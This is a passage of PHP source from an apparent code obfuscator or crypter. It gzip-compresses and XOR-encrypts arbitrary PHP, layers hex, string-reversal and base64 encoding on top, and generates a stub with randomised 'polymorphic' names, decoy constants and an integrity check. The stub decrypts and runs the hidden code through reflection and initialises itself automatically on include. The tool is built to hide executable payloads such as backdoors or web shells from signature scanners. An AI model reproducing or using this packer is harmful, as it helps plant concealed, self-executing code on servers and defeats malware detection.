$/', '', $raw_code); $raw_code = trim($raw_code); if (!empty($raw_code)) { // Encryption Logic $key_part = 'JNdtOotLGjdSlFDgVnDDuXBmyQTId'; $step1 = gzcompress($raw_code, 9); $step2 = ""; $k_len = strlen($key_part); for ($i = 0; $i < strlen($step1); $i++) { $step2 .= $step1[$i] ^ $key_part[$i % $k_len]; } $step3 = bin2hex($step2); $step4 = strrev($step3); $final_payload = base64_encode($step4); // Randomize Signatures (Polymorphism) $cls_name = "Core_".randStr(5)."_Mod"; $func_exec = randStr(8); $func_entry = "init_".randStr(4); // Key & Integrity functions $f_k1 = randStr(6); $f_k2 = randStr(6); $f_k3 = randStr(6); $f_i1 = randStr(6); $f_i2 = randStr(6); $f_i3 = randStr(6); // Internal Variables $v_payload = randStr(5); $v_decoded = randStr(5); $v_key = randStr(5); $v_integ = randStr(5); $v_final = randStr(5); // Decoys $c_decoy1 = "CONF_".strtoupper(randStr(6)); // --- STUB GENERATION --- $stub = ''.$f_k1.'() . $o->'.$f_k2.'() . $o->'.$f_k3.'(); // 3. Integrity Check $'.$v_integ.' = $o->'.$f_i1.'() . $o->'.$f_i2.'() . $o->'.$f_i3.'(); if (md5($'.$v_integ.') !== \'9bdbd9958a3da2272fc03d5cd89df03b\') { return; } // 4. Decrypt XOR $'.$v_final.' = \'\'; $kl = strlen($'.$v_key.'); for ($i=0, $len = strlen($'.$v_decoded.'); $i < $len; $i++) { $'.$v_final.' .= chr(ord($'.$v_decoded.'[$i]) ^ ord($'.$v_key.'[$i % $kl])); } // 5. Decompress $res = @gzuncompress($'.$v_final.'); if ($res === false) { $res = @gzinflate($'.$v_final.'); } // 6. Execution via Reflection if ($res) { $ref = new ReflectionMethod(__CLASS__, \''.$func_exec.'\'); $ref->setAccessible(true); $ref->invoke(new self(), $res); } } } // Auto Init if (!defined(\'_SYS_LOADED\')) { define(\'_SYS_LOADED\', true); '.$cls_name.'::'.$func_entry.'(); } ?>'; if (file_put_contents($file_name, $stub)) { $msg = "